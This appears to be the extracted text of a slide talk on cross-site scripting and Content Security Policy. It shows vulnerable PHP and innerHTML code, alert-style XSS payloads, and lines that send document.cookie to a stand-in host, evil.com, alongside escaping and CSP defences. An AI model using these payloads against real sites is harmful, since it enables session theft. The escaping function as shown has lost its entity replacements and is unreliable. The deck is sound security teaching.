- Software engineer at Disqus
- Co-author, Third-party JavaScript (Manning)
- Once ate 7 McDonald's cheeseburgers in one sitting
- Implemented Content Security Policy in Disqus
Vulnerability where attacker injects JavaScript code into a web document
<?php $name = $_GET['name']; echo "Welcome $name"; ?>
GET http://ursite.com/script.php?name=%3Cscript%3Ealert(%22pwned%22)%3C%2Fscript%3E HTTP/1.1
Welcome <script>alert("pwned")</script>
Client-side apps are not immune
var div = document.createElement('div'); div.innerHTML = 'Welcome' + user.name; document.body.appendChild(div);
{ "id": 1337, "username": "some_asshole87" "name": "<img src=\"\" onerror=\"alert('pwned')\">", }
Welcome <img src="" onerror="alert('pwned')">
Steal cookies
new Image('http://evil.com/capture?cookies=' + document.cookie);
Use local XHR
$.get('/my/contacts', function (response) { … });
Use client API
GMAIL.deleteAll();
Set-Cookie: session=29e807166458d2640 HttpOnly
document.cookie
Escape dangerous characters in untrusted strings
function escapeHtml(str) { return String(str) .replace(/&/g, "&") .replace(/</g, "<") .replace(/>/g, ">") .replace(/"/g, """) .replace(/'/g, "'") .replace(/\//g, "/") }
Character substitutions recommended by OWASP
Sanitizing untrusted user data on the client
var div = document.createElement('div'); div.innerHTML = 'Welcome' + escapeHtml(user.name); document.body.appendChild(div);
{ "id": 1337, "username": "some_asshole87" "name": "<img src=\"\" onerror=\"alert('pwned')\">", }
Welcome <img src="" onerror="alert('pwned')">
The good
The bad
These are publicized exploits. There are likely far more kept private.
It's not a matter of if you will introduce an XSS vulnerability, but when.
Content-Security-Policy
HTTP header
Example: restrict scripts to current origin and ajax.googleapis.com
Content-Security-Policy: script-src 'self' ajax.googleapis.com
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script> <script src="/js/app.js"></script> <script src="http://evil.com/pwnage.js"></script>
Refused to load the script 'http://evil.com/pwnage.js' because it violates
the following Content Security Policy directive: "script-src 'self' ajax.googleapis.com".
CSP also limits inline scripts
Content-Security-Policy: script-src 'self' ajax.googleapis.com
<script>new Image('http://evil.com/?cookie=' + document.cookie);</script>
Refused to execute inline script because it violates the following Content Security Policy
directive: "script-src 'self' ajax.googleapis.com"
Inline scripts are often used for defining global config state
<head> <script> var CONFIG = { version = '7330b4', appRoot = '//example.com', cdnRoot = '//cdn.example.com' }; </script> <script src="js/app.js"></script> <head>
This example will cause a CSP exception.
<script id="config" type="text/json"> { "version": "7330b4", "appRoot": "//example.com", "cdnRoot": "//cdn.example.com" } </script> <script src="js/app.js"></script>
In app.js …
var config = document.getElementById('config'); window.CONFIG = JSON.parse(config.textContent || config.innerHTML);
Content-Security-Policy: script-src 'self' 'unsafe-eval' ajax.googleapis.com
Warning: eval is considered an XSS vector
CSP can protect against a variety of unauthorized asset types.
img-src
– limit origins of images
style-src
– stylesheets
media-src
– audio and video
frame-src
– iframe sources
connect-src
– XHR, WebSockets, EventSource
font-src
– font files
object-src
- Flash and other plugin objects
default-src
– all assets (including scripts)
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' ajax.googleapis.com google-analytics.com; style-src 'self' ajax.googleapis.com; connect-src 'self' https://api.myapp.com realtime.myapp.com:8080; media-src 'self' youtube.com; object-src 'self' youtube.com; frame-src 'self' youtube.com embed.ly
Content-Security-Policy
X-WebKit-CSP
X-Content-Security-Policy
Vendor-prefixed CSP implementations all vary
X-WebKit-CSP
, but breaks on it
report-uri
to accept CSP exception requests (POST)
Configure an endpoint to report violations
Content-Security-Policy: default-src 'self'; report-uri http://mysite.com/report.php
CSP reports are delivered as JSON via HTTP POST
{ "csp-report": { "document-uri": "http://example.org/page.html", "referrer": "http://evil.example.com/", "blocked-uri": "http://evil.example.com/evil.js", "violated-directive": "default-src 'self'", "original-policy": "default 'self'; report-uri http://mysite.com/report.php" } }
Content-Security-Policy-Report-Only
Content-Security-Policy-Report-Only: default-src 'self'; report-uri http://mysite.com/report.php
document.onsecuritypolicyviolation = function (evt) { console.log('Bzzp! Security violation on', evt.documentURI); console.log('Violated directive:', evt.violatedDirective); console.log('Original policy:', evt.originalPolicy); };
… don't exist yet
Spec authors on Twitter